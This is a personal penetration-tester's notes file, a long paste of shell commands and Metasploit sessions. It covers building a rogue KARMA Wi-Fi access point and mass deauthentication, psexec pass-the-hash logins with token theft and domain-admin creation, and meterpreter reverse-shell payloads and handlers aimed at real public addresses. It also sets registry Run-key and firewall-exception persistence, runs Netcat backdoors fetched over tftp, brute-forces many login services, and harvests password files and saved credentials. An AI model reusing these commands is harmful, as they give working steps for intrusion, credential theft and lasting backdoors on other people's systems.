  1062. iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 4 -j REJECT
  1063.  
  1064.  
  1065.  
  1066. # CURL HTTPS
  1067. for i in `cat check`;do echo curl -L -k --location-trusted -m 3 -L -o $i.htm "\""https://$i"\"";done > https
  1068.  
  1069.  
  1070. # airbase/karma.rc setup
  1071.  
  1072.  
  1073. --------------------
  1074.  
  1075. gogogo
  1076. ----------------
  1077.  
  1078. # change eth1 to internet interface
  1079. iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
  1080. iptables --append FORWARD --in-interface at0 -j ACCEPT
  1081. echo 1 > /proc/sys/net/ipv4/ip_forward
  1082.  
  1083.  
  1084. # kill stuff the will cause issues ..
  1085. killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
  1086.  
  1087. # start MSF karma.rc script logs are screenlog.0 etc ..
  1088. xterm -e "screen -L /pentest/exploits/framework/msfconsole -r /stuff/karma.rc" &
  1089.  
  1090. # takes a wile to startup .. lets wait we need it all ready to work before people connect to it so we dont miss packets !!!
  1091.  
  1092. echo "waiting for MSF karma to start .. 50sec"
  1093. sleep 20
  1094.  
  1095. # monitor mode change wlan1 to your wifi
  1096. airmon-ng start wlan1
  1097.  
  1098. sleep 5
  1099.  
  1100. # setup fake AP
  1101. xterm -e "airbase-ng -c 6 -P mon0 -v" &
  1102.  
  1103. sleep 5
  1104.  
  1105. ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
  1106.  
  1107. # setup DHCP server
  1108. xterm -e "dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0" &
  1109.  
  1110. # DEBUG DHCP to see DHCP request hits xterm -e "tcpdump -i at0 -n port 67 and port 68" &
  1111.  
  1112.  
  1113. ------------------
  1114.  
  1115.  
  1116.  
  1117.  
  1118. # XSS
  1119. >"'><script>alert('XSS')</script>
  1120. # add full read write read/write full R/W on registry key
  1121. SetACL.exe -on "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies" -ot reg -actn ace -ace "n:MyDomain\JohnDoe;p:full"
  1122. # add -P0 for no ping
  1123. /usr/bin/screen -fa -d -m nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.30.0.0/16 -oA /home/administrator/rmccurdy/192.30.0.0_fast_ping
  1124. # msf metasploit use login to get msfshell for pivot/token
  1125. use exploit/windows/smb/psexec
  1126.  
  1127. set RHOST 192.168.64.123
  1128. set SMBUser adminit
  1129. set SMBPass password
  1130. # also set HASHES !! set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
  1131.  
  1132. exploit
  1133.  
  1134. getuid
  1135. use priv
  1136. getsystem
  1137. use incognito
  1138. list_tokens -u
  1139. add_group_user "Domain Admins"
  1140. impersonate_token "DOMAIN\\user"
  1141. # add user and give it local admin
  1142. net user test PASSWORDHERE /add
  1143. net localgroup administrators test /add
  1144.  
  1145. # add user to domain and makt it domain admin
  1146. net user /add USERNAME STRONGPASSWORD /domain
  1147. net group /add "domain admins" USERNAME /domain
  1148.  
  1149. ---------------------------
  1150. # make exe
  1151. ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
  1152.  
  1153. # attacker listen
  1154. use exploit/multi/handler
  1155. set PAYLOAD windows/meterpreter/reverse_tcp
  1156. set LHOST 192.168.6.55
  1157. set LPORT 443
  1158. set ExitOnSession false
  1159. # set AutoRunScript pathto script you want to autorun after exploit is run
  1160. set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
  1161.  
  1162. exploit -j -z
  1163.  
  1164.  
  1165. # armatage DONT USE THIS JUIST USE BIN INSTALL FROM WEBSITE .. INCLUDES FULL AND POSTGRES BINS
  1166. apt-get install mysql-server -y
  1167. /etc/init.d/mysql start
  1168.  
  1169. mysqladmin -u root -ppassword password toor
  1170. /pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
  1171.  
  1172. # armatage DONT USE THIS METHOD USE THE BIN FROM WEBSITE IT HAS ITS OWN POSTGRES
  1173.  
  1174. apt-get install -y postgresql
  1175.  
  1176. apt-get install libpq-dev -y
  1177.  
  1178. gem install postgres
  1179.  
  1180. /etc/init.d/postgresql start
  1181. su -
  1182. su - postgres
  1183.  
  1184.  
  1185. createuser msf_user -P
  1186. createdb --owner=msf_user msf
  1187.  
  1188. /pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
  1189. /pentest/exploits/framework/armitage
  1190.  
  1191.  
  1192. ----
  1193.  
  1194.  
  1195. # ssh
  1196. use auxiliary/scanner/ssh/ssh_login
  1197.  
  1198. #set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
  1199. set RHOSTS 192.59.139.135 192.59.139.136 192.59.139.140 192.116.61.25 192.116.61.26 192.116.61.34
  1200. # also set RHOSTS file://bla
  1201. # set USER_FILE "C:/backup/wordlist/password_large.txt"
  1202. set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
  1203. set VERBOSE true
  1204. set STOP_ON_SUCCESS true
  1205. set BRUTEFORCE_SPEED 5
  1206. # set this to the number of host
  1207. set THREADS 6
  1208.  
  1209. run
  1210.  
  1211. use auxiliary/gather/dns_enum
  1212. set DOMAIN domain.com
  1213. run
  1214. #smb
  1215.  
  1216. use auxiliary/scanner/smb/smb_login
  1217.  
  1218. set RHOSTS file://192.168.8.39
  1219. set RHOSTS 127.0.0.1
  1220.  
  1221. set USER_FILE "C:/wordlist/users.txt"
  1222. set PASS_FILE "C:/wordlist/2.txt"
  1223. set VERBOSE false
  1224. # set to number of host scanning .
  1225. set THREADS 16
  1226.  
  1227. set STOP_ON_SUCCESS true
  1228. set VERBOSE false
  1229. Name Value
  1230. ---- -----
  1231. BLANK_PASSWORDS false
  1232. BRUTEFORCE_SPEED 5
  1233. ConnectTimeout 10
  1234. DCERPC::ReadTimeout 10
  1235. DCERPC::fake_bind_multi true
  1236. DCERPC::fake_bind_multi_append 0
  1237. DCERPC::fake_bind_multi_prepend 0
  1238. DCERPC::max_frag_size 4096
  1239. DCERPC::smb_pipeio rw
  1240. MaxGuessesPerService 0
  1241. MaxGuessesPerUser 0
  1242. MaxMinutesPerService 0
  1243. NTLM::SendLM true
  1244. NTLM::SendNTLM true
  1245. NTLM::SendSPN true
  1246. NTLM::UseLMKey false
  1247. NTLM::UseNTLM2_session true
  1248. NTLM::UseNTLMv2 true
  1249. PRESERVE_DOMAINS true
  1250. REMOVE_PASS_FILE false
  1251. REMOVE_USERPASS_FILE false
  1252. REMOVE_USER_FILE false
  1253. RHOST file:/home/rmccurdy/high
  1254.  
  1255. # http
  1256.  
  1257. use auxiliary/scanner/http/http_login
  1258. set AUTH_URI /folder?dcPath=ha-datacenter
  1259. set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
  1260. set VERBOSE true
  1261. run
  1262. back
  1263.  
  1264. # telnet
  1265. use auxiliary/scanner/telnet/telnet_login
  1266. set RHOSTS 127.0.0.1,49,50
  1267.  
  1268. set PASS_FILE "C:/wordlist/password_small.txt"
  1269. set THREADS 254
  1270. run
  1271.  
  1272. back
  1273. # mssql
  1274. use auxiliary/scanner/mssql/mssql_login
  1275. set RHOSTS 127.0.0.1
  1276. set PASS_FILE "C:/wordlist/password_small.txt"
  1277. set USERNAME sa
  1278. set VERBOSE false
  1279. run
  1280. back
  1281.  
  1282.  
  1283.  
  1284. #ftp
  1285. use auxiliary/scanner/ftp/ftp_login
  1286. set RHOSTS 127.0.0.1
  1287. set PASS_FILE /home/administrator/small.txt
  1288. set USER_FILE /home/administrator/small.txt
  1289. set BRUTEFORCE_SPEED 1
  1290. run
  1291.  
  1292. #snmp
  1293. use auxiliary/scanner/snmp/snmp_login
  1294. set RHOSTS 127.0.0.1
  1295. set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
  1296. set VERBOSE false
  1297.  
  1298. run
  1299.  
  1300. nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
  1301. ./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
  1302. # got r00t got r00t ?
  1303.  
  1304. # search home for passwords ..
  1305. cd /home
  1306. grep -iar password * -A 1 -B 1 |strings >/tmp/home_pass;less /tmp/home_pass
  1307.  
  1308. # search a path for READ accesss using file command
  1309. find . -maxdepth 5 -exec file '{}' \; | grep -v "no read" | grep -v directory >/tmp/mnt
  1310.  
  1311. # bash history very gooOOOd !
  1312. updatedb;locate .bash_history
  1313.  
  1314. # crack with extrem gpu brute force
  1315. cat /etc/shadow | grep -v ":\*:"
  1316. # use on other servers by checking bash history
  1317. updatedb;locate authorized
  1318.  
  1319. # find files modifyed the past 7 days
  1320. find / -type f -mtime -7|egrep -v "(proc|\/sys)"
  1321.  
  1322. # you can look for other file types sql,*.php,*sql.tar.gz,*pass*,sudousers,/etc/passwd,/root/.ssh or ~/.ssh,password
  1323. locate *.sql
  1324. locate sql.tar.gz
  1325. # what services are listing the part at the top
  1326. netstat -na | grep LIS
  1327. lsof -nPi
  1328. ---------
  1329.  
  1330. more notes :
  1331. -------------
  1332. # class b ADDfff -Pn to not ping ( assume up and no ping scan, it will take longer ) use control + D to end script and save at job
  1333. # this will run at 7pm in a screen so you can reattach / check status and Ctrl+c out to save and use nmap -r to resume if need be
  1334. at 19:00
  1335. screen bash at.sh
  1336. # at.sh script
  1337. nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.159.0.0/16 -oA /home/administrator/rmccurdy/safg/192.159.0.0_fast_ping
  1338. # class b external 65k host fast ping scan 7 ports 30min
  1339. # Nmap 5.61TEST2 scan initiated Thu Dec 29 21:02:11 2011 as: nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 -oA /home/administrator/rmccurdy/safg/192.30.0.0_fast_ping 192.30.0.0/16
  1340. # Ports scanned: TCP(7;20-21,80,115,443,989-990) UDP(0;) SCTP(0;) PROTOCOLS(0;)
  1341. # Nmap done at Thu Dec 29 21:29:10 2011 -- 65536 IP addresses (40675 hosts up) scanned in 1618.92 seconds
  1342.  
  1343. nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=zonetransfer.me -p 53 ns12.zoneedit.com
  1344. for i in `cat 1` ; do curl http://api.hackertarget.com/zonetransfer/?q=$i;done
  1345.  
  1346.  
  1347. # medusa hydra
  1348. ./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
  1349.  
  1350.  
  1351. http://www.foofus.net/~jmk/medusa/medusa.html
  1352. medusa -M ftp -H targets -u Anonymous -p input_file -v 6 -T 30 -g 2 -R 1
  1353. medusa -M mysql -H # change the -T for more threds -t is for per host keep it 1 ..
  1354. medusa -M ssh -H 22 -u root -p tcr1tt3r -v 6 -g 2 -R 1 -t 1 -T 1
  1355. medusa -h 192.168.1.103 -u administrator -P passwords.txt -e ns -M smbnt
  1356.  
  1357.  
  1358. mysql -u root -P mysqlpass.txt -v 6 -T 1 -g 2 -R 1
  1359. nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
  1360.  
  1361. # email over telnet
  1362. RSET
  1363. HELO
  1364. MAIL FROM:<root@whatismyip.com>
  1365. RCPT TO:<"freeload101@yahoo.com">
  1366. data
  1367. this is a test from w00t
  1368. .
  1369. --------
  1370. route add 10.101.14.0 netmask 255.255.255.0 gw 10.101.13.1 dev eth05
  1371.  
  1372. .\nmap -script smb-check-vulns.nse --script-args=unsafe=1 -p445 10.104.101.59
  1373. .\nmap --script smb-enum-shares.nse -p445 10.104.101.59
  1374. .\nmap --script smb-enum-users.nse -p445 10.104.101.59
  1375. .\nmap.exe --script smtp-commands.nse -pT:25,465,587
  1376. .\nmap.exe --script smtp-enum-users.nse -pT:25,465,587
  1377. a
  1378.  
  1379. # sid enum using nmap and metasploits sid.txt 1307 sids in ~8 seconds
  1380. nmap -n --script=oracle-sid-brute -p 1521-1560 192.168.1.141
  1381.  
  1382. # try 1255 user/pass
  1383. # requires valid SID ( default is XE )
  1384. # Performed 1245 guesses in 3 seconds, average tps: 415
  1385. nmap --script oracle-brute -p 1521-1560 --script-args oracle-brute.sid=XE -n 192.168.1.141
  1386.  
  1387. # oracle shell using OAT Oracle Audit Tool
  1388. ose.bat -s 192.168.1.141 -u SYS -p CHANGE_ON_INSTALL -d XE -t Windows
  1389.  
  1390. # route all to 10.127.120.97
  1391. route add 0.0.0.0 mask 0.0.0.0 10.127.120.97
  1392. # route 75.131.211.0 to VPN or other connectoin
  1393. route add 75.131.211.0 mask 255.255.255.0 192.168.77.254
  1394. # route rmccurdy over VPN
  1395. route add 75.131.211.0 mask 255.255.255.0 10.31.128.1
  1396.  
  1397.  
  1398. warvox notes:
  1399. * you also have to contact support and have IAX unlocked on the account
  1400. · Normally I have 3 max threads and set it for 15-20 sec then with sql get the completed = 0 and run them thought again with 53 sec ringtime.
  1401. · Let me know if you need any help
  1402. google warvox for general notes "login etc .. just read all of it please ... use vitelity as the provider )
  1403. 3 at a time max ..
  1404. screen
  1405. ruby warvox.rb ( run warvox in screen so you can screen -r if you get dropped google screen Manuel ... )
  1406. use SELF as the caller ID
  1407. ranges are 15555555555:15555555555
  1408. or 155555XXX
  1409.  
  1410.  
  1411. SELECT * FROM DIAL_RESULTS where completed = 'f' and dial_job_id >= '68' and busy = 'f' and ringtime <= '52';
  1412. * if don.t add the .and ringtime <= '52' I get 2K hits . I would assume this is because it if did not answer it labeled it as not completed instead of labeling it timeout for some reason ?
  1413. * ~700 ringtime <= '52' with no data file... some high ringtimes but most were instant busy signal but not marked as complete or busy with no data file
  1414. SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'voice' ;
  1415. SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'fax' ;
  1416. SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'modem' ;
  1417. SELECT * FROM DIAL_RESULTS where dial_job_id = '110' and busy = 't';
  1418.  
  1419.  
  1420. rcracki_mt /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f /usr/local/sbin/hash
  1421. rcrack /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f hash2
  1422. # example input file 4ee is null or blank
  1423. # Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  1424. #notes
  1425. http://ob-security.info/?tag=hashcat
  1426.  
  1427.  
  1428.  
  1429.  
  1430.  
  1431. wget -O giskismet-0.02.tar.gz \
  1432. "http://my-trac.assembla.com/giskismet/browser/tags/giskismet-0.02.tar.gz?format=raw"
  1433. tar -xzvf giskismet-0.02.tar.gz
  1434. rm giskismet-0.02.tar.gz
  1435.  
  1436. We need a few packages first.
  1437.  
  1438. apt-get update
  1439. apt-get install libxml-libxml-perl libdbi-perl libdbd-sqlite3-perl -y
  1440.  
  1441. Do the install
  1442.  
  1443.  
  1444. cd giskismet-0.02
  1445. perl Makefile.PL
  1446. make
  1447. make install
  1448.  
  1449.  
  1450.  
  1451. giskismet -x wardrive.netxml
  1452. giskismet -q "select * from wireless" -o output.kml
  1453.  
  1454.  
  1455. giskismet -q 'select * from wireless where ESSID like "_%"' wireless.dbl -o ouput2.kml
  1456.  
  1457.  
  1458. Before we map our dat
  1459.  
  1460. # following steps are for BT4:
  1461. # edit the kismet.conf and add the /dev/ttyUSB0 etc .. (find / -name kismet.conf )
  1462. # load the kernal mod for garmin gps
  1463. modprobe garmin_gps
  1464. # plugin the the garmion GPS18 USB puck
  1465. # if I dont run this command it hangs and kill -9 will not even work so have to reboot
  1466. mount -t usbfs none /proc/bus/usb/
  1467. # setup gpsd shoud show changy bits so you know it is trying to lock !
  1468. dpkg-reconfigure gpsd
  1469. #start gpsd
  1470. /etc/init.d/gpsd stop
  1471. gpsd -N -n -D 2 /dev/ttyUSB0
  1472. # test
  1473. ls -al /dev/ttyUSB0
  1474. xgps
  1475. #also test by
  1476. telnet localhost 2947
  1477. # in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
  1478.  
  1479. /etc/init.d/wicd stop
  1480. /etc/init.d/networking stop
  1481. killall dhclient dhcpcd
  1482.  
  1483.  
  1484.  
  1485. Ubuntu Packages - For whatever reason, Ubuntu has stopped updating Kismet in their repositories.
  1486.  
  1487. To add Kismet as a repository and get updates automatically, add the following to your /etc/apt/sources.lst or to /etc/apt/sources.list.d/kismet.list:
  1488.  
  1489. For Ubuntu Oneiric (11.10): deb https://www.kismetwireless.net/code/ oneiric kismet
  1490. For Ubuntu Precise (12.04): deb https://www.kismetwireless.net/code/ precise kismet
  1491. For Ubnutu Quantal (12.10): deb https://www.kismetwireless.net/code/ quantal kismet
  1492.  
  1493.  
  1494. To add the Kismet signing key (signed by my primary key, available above) to your trusted keys:
  1495.  
  1496. curl https://www.kismetwireless.net/code/dists/kismet-release.gpg | sudo apt-key add -
  1497.  
  1498. # ssh logins
  1499. use auxiliary/scanner/ssh/ssh_login
  1500. set RHOSTS 10.13.102.2,177
  1501. set USER_FILE "C:/wordlist/password_small.txt"
  1502. set RHOSTS_FILE "C:/wordlist/targests.txt"
  1503. run
  1504. back
  1505. use auxiliary/gather/dns_enum
  1506. set DOMAIN 10.21.1.69
  1507. run
  1508.  
  1509.  
  1510.  
  1511.  
  1512.  
  1513. --------------------------------------
  1514.  
  1515. airbase notes
  1516. ------------
  1517. mass deauth
  1518. # broken because you need listen on the right channel before you deauth ... so I need channel and sesstion and ap info all in one line ..
  1519. # cleanup
  1520. rm -f clients*.csv
  1521. # dump clients
  1522. airodump-ng mon0 -o csv -w clients &
  1523. # lets sleep on it we need station ids
  1524. sleep 60
  1525. killall airodump-ng
  1526. # make script to mass deauth
  1527. grep -ia -A 10000 Station clients*.csv |egrep -v "(not|Station)" | sed 's/,/ /g' | awk '{print "aireplay-ng -0 1 -a",$8,"mon0 --ignore-negative-one -c",$1}'|grep : > killclients
  1528. bash -x killclients
  1529. -----------------------------------------------
  1530. gogogo
  1531. ----------------
  1532. ^Croot@bt:/stuff/airbase# cat GO
  1533.  
  1534. killall avahi-daemon avahi-daemon NetworkManager wpa_supplicant
  1535. killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
  1536. airmon-ng start wlan1
  1537. sleep 5
  1538. xterm -e "airbase-ng -c 6 -P mon0 -v" &
  1539. sleep 5
  1540. ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
  1541. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 &
  1542. sleep 5
  1543. cd /pentest/exploits/framework &
  1544. xterm -e "tcpdump -i at0 -n port 67 and port 68" &
  1545. sleep 5
  1546. xterm -e "/pentest/exploits/framework/msfconsole -r /pentest/exploits/framework/karma.rc"
  1547. ------------------
  1548. # depends for airdcrack
  1549.  
  1550. apt-get install build-essential -y
  1551. apt-get install libssl-dev -y
  1552. apt-get install openssl-dev -y
  1553. apt-get install partimage gparted lynx links curl nmap iotop screen medusa trafshow wireshark -y --force-yes
  1554. # more depends set autopwn
  1555. apt-get install upx-ucl upx-nrv -y
  1556. apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby subversion sqlite3 libsqlite3-ruby irb -y
  1557. apt-get install ruby libruby rdoc -y
  1558. apt-get install libyaml-ruby -y
  1559. apt-get install libzlib-ruby -y
  1560. apt-get install libopenssl-ruby -y
  1561. apt-get install libdl-ruby -y
  1562. apt-get install libreadline-ruby -y
  1563. apt-get install libiconv-ruby -y
  1564. apt-get install rubygems -y
  1565.  
  1566. #apt-get install postgresql postgresql-client postgresql-contrib -y
  1567. apt-get install pgadmin3 -y
  1568. apt-get install python-pymssql -y
  1569. gem1.8 install rails
  1570. # get set and msf
  1571. mkdir /pentest/
  1572. mkdir /pentest/exploits
  1573. cd /pentest/exploits
  1574. # check out /install aircrack latest
  1575. svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
  1576. cd aircrack-ng
  1577. make clean
  1578. make
  1579. make install
  1580. airodump-ng-oui-update
  1581. # create mon0
  1582. airmon-ng start wlan1
  1583. # start airbase on mon0 it creates at0 to us with dhcpd ! ( may not need to include channel ... )
  1584. airbase-ng -c 6 -P mon0 -v
  1585. # install dhcp3 server
  1586. apt-get install dhcp3-server -y
  1587. -----------------------------------------------------------
  1588. # DHCP CONF
  1589. cat /etc/dhcp3/dhcpd.conf
  1590. ----------------------------------------------------------------
  1591. option domain-name-servers 10.0.0.1;
  1592. default-lease-time 60;
  1593. max-lease-time 72;
  1594. ddns-update-style none;
  1595. authoritative;
  1596. log-facility local7;
  1597. subnet 10.0.0.0 netmask 255.255.255.0 {
  1598. range 10.0.0.100 10.0.0.254;
  1599. option routers 10.0.0.1;
  1600. option domain-name-servers 10.0.0.1;
  1601. }
  1602. -------------------------------------------------------------------------------
  1603. # setup at0 interface that airbase created to listen on IP configured for dhcp server
  1604. ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
  1605. # start dhcp server
  1606. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  1607. # cd to framework root ..
  1608. cd /pentest/exploits/framework
  1609. wget http://digitaloffense.net/tools/karma.rc -O karma.rc
  1610. # start msfconsole using the mass client sides basicly karma.rc
  1611. msfconsole -r karma.rc
  1612. # start TCP dump looking for DHCP requests from the remote host !
  1613. tcpdump -i at0 -n port 67 and port 68
  1614. # mass client side too buggy ... to many iframes ... come back to it ... try SMB_REPLAY attack ...? or limit client side attacks ?
  1615. # for mass client side attack using etterfilter for targets:
  1616. apt-get install ettercap -y
  1617. # run mass client side attack
  1618. cd /pentest/exploits/fasttrack
  1619. fast-track.py -i
  1620. # choose mass client side attack etc and run metasploitloadfile manuely ...
  1621. # when all is running etc .... start msfconsole with the metasploitloadfile script in the base folder of fasttrack
  1622. msfconsole -r metasploitloadfile
  1623. http://digitaloffense.net/tools/karma.rc
  1624. +-+-+-
  1625. airmon-ng start wlan0
  1626. airbase-ng -c 9 -P -C60 -z 2 -W 1 mon0
  1627. ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
  1628. dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan0
  1629. killall dhclient dhcpcd dhclient3
  1630. airmon-ng start wlan1
  1631. airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
  1632. ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0
  1633. dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
  1634. iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
  1635. iptables --append FORWARD --in-interface at0 -j ACCEPT
  1636. echo 1 > /proc/sys/net/ipv4/ip_forward
  1637. #airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
  1638. 00:0C:43:41:46:34 -37 13 2 0 6 54e. WPA TKIP PSK rmccurdyDOTcom1
  1639.  
  1640. airbase-ng -c 6 -a 00:0C:43:41:46:34 -C60 -z 2 -W 1 -v --essid rmccurdyDOTcom1 mon0
  1641. dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
  1642. i
  1643. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  1644. tcpdump -i at0 -n port 67 and port 68
  1645. armatage
  1646. apt-get install -y postgresql
  1647. apt-get install libpq-dev -y
  1648. gem install postgres
  1649.  
  1650. /etc/init.d/postgresql start
  1651.  
  1652.  
  1653.  
  1654. su -
  1655. su - postgres
  1656.  
  1657.  
  1658. createuser msf_user -P
  1659. createdb --owner=msf_user msf
  1660.  
  1661. /pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
  1662. /pentest/exploits/framework/armitage
  1663. wifi notes
  1664. ------------------------
  1665. internet@rmccurdydotcom /cygdrive/c/temp
  1666. # egrep "BSSID|<manuf>|<max_signal_dbm>|<ssid>" "Kismet-20110929-11-17-47-1.net
  1667. xml" | tr -d '\n' | awk '{gsub("<BSSID>",",\n"); print}' | sed -e 's/<\/BSSID>
  1668. /,/g' -e 's/ <manuf>//g' -e 's/<\/manuf>//g' -e 's/ <max_signal_dbm>/,/
  1669. g' -e 's/<\/max_signal_dbm>/,/'g -e 's/ <ssid>/,/g' -e 's/<\/ssid>//
  1670. g'> 2.csv
  1671. internet@rmccurdydotcom /cygdrive/c/temp
  1672. # load the kernal mod for garmin gps
  1673. modprobe garmin_gps
  1674. # plugin the the garmion GPS18 USB puck
  1675. # if I dont run this command it hangs and kill -9 will not even work so have to reboot
  1676. mount -t usbfs none /proc/bus/usb/
  1677. # setup gpsd
  1678. dpkg-reconfigure gps
  1679. # test
  1680. ls -al /dev/ttyUSB0
  1681. xgps
  1682. #also test by
  1683. telnet localhost 2947
  1684. # in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
  1685.  
  1686. ------------------------
  1687.  
  1688.  
  1689.  
  1690.  
  1691. ----------------------
  1692.  
  1693. use exploit/multi/handler
  1694. set PAYLOAD windows/meterpreter/reverse_tcp
  1695. set LHOST rmccurdy.com
  1696. set LPORT 21
  1697. set ExitOnSession false
  1698. # set AutoRunScript pathto script you want to autorun after exploit is run
  1699. set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
  1700.  
  1701. exploit -j -z
  1702.  
  1703.  
  1704.  
  1705. # file_autopwn
  1706. rm -Rf /tmp/1
  1707. mkdir /tmp/1
  1708. rm -Rf ~/.msf3
  1709.  
  1710. wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf
  1711.  
  1712. ./msfconsole
  1713.  
  1714. db_driver sqlite3
  1715. db_create pentest11
  1716. setg LHOST 75.139.158.51
  1717. setg LPORT 21
  1718. setg SRVPORT 21
  1719. setg LPORT_WIN32 21
  1720.  
  1721. setg INFILENAME /tmp/file3.pdf
  1722.  
  1723.  
  1724. use auxiliary/server/file_autopwn
  1725.  
  1726. set OUTPATH /tmp/1
  1727.  
  1728. set URIPATH /msf
  1729. set SSL true
  1730. set ExitOnSession false
  1731. set PAYLOAD windows/meterpreter/reverse_tcp
  1732. setg PAYLOAD windows/meterpreter/reverse_tcp
  1733. set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
  1734. run
  1735.  
  1736.  
  1737.  
  1738. # shows all the scripts
  1739. run [tab]
  1740.  
  1741. # persistence! broken ...if you use DNS name ..
  1742. run persistence -r 75.139.158.51 -p 21 -A -X -i 30
  1743. # new method run persistence -U -i 5 -p 443 -r 192.168.1.71
  1744.  
  1745. run get_pidgin_creds
  1746.  
  1747. idletime
  1748. sysinfo
  1749.  
  1750.  
  1751. # SYSTEM SHELL ( pick a proc that is run by system )
  1752. migrate 376
  1753. shell
  1754.  
  1755. # session hijack tokens
  1756. use incognito
  1757. impersonate_token "NT AUTHORITY\\SYSTEM"
  1758.  
  1759. # eslcate to system
  1760. use priv
  1761. getsystem
  1762.  
  1763.  
  1764. execute -f cmd.exe -H -c -i -t
  1765. execute -f cmd.exe -i -t
  1766.  
  1767. # list top used apps
  1768. run prefetchtool -x 20
  1769.  
  1770. # list installed apps
  1771. run prefetchtool -p
  1772.  
  1773. run get_local_subnets
  1774.  
  1775. # find and download files
  1776. run search_dwld "%USERPROFILE%\\my documents" passwd
  1777. run search_dwld "%USERPROFILE%\\desktop passwd
  1778. run search_dwld "%USERPROFILE%\\my documents" office
  1779. run search_dwld "%USERPROFILE%\\desktop" office
  1780.  
  1781. # alternate
  1782. download -r "%USERPROFILE%\\desktop" ~/
  1783. download -r "%USERPROFILE%\\my documents" ~/
  1784.  
  1785. # alternate to shell not SYSTEM
  1786. # execute -f cmd.exe -H -c -i -t
  1787.  
  1788.  
  1789. # does some run wmic commands etc
  1790. run winenum
  1791.  
  1792.  
  1793.  
  1794. # rev shell the hard way
  1795. run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
  1796.  
  1797. # An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
  1798. run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
  1799. run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
  1800.  
  1801. # vnc / port fwd for linux
  1802. run vnc
  1803.  
  1804. # priv esc
  1805. run kitrap0d
  1806.  
  1807.  
  1808.  
  1809. run getgui
  1810.  
  1811. # somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
  1812. run killav
  1813.  
  1814. run winemun
  1815.  
  1816. run memdump
  1817.  
  1818. run screen_unlock
  1819.  
  1820. upload /tmp/system32.exe C:\\windows\\system32\\
  1821. reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
  1822. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
  1823. reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
  1824. reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
  1825. reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys
  1826. reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
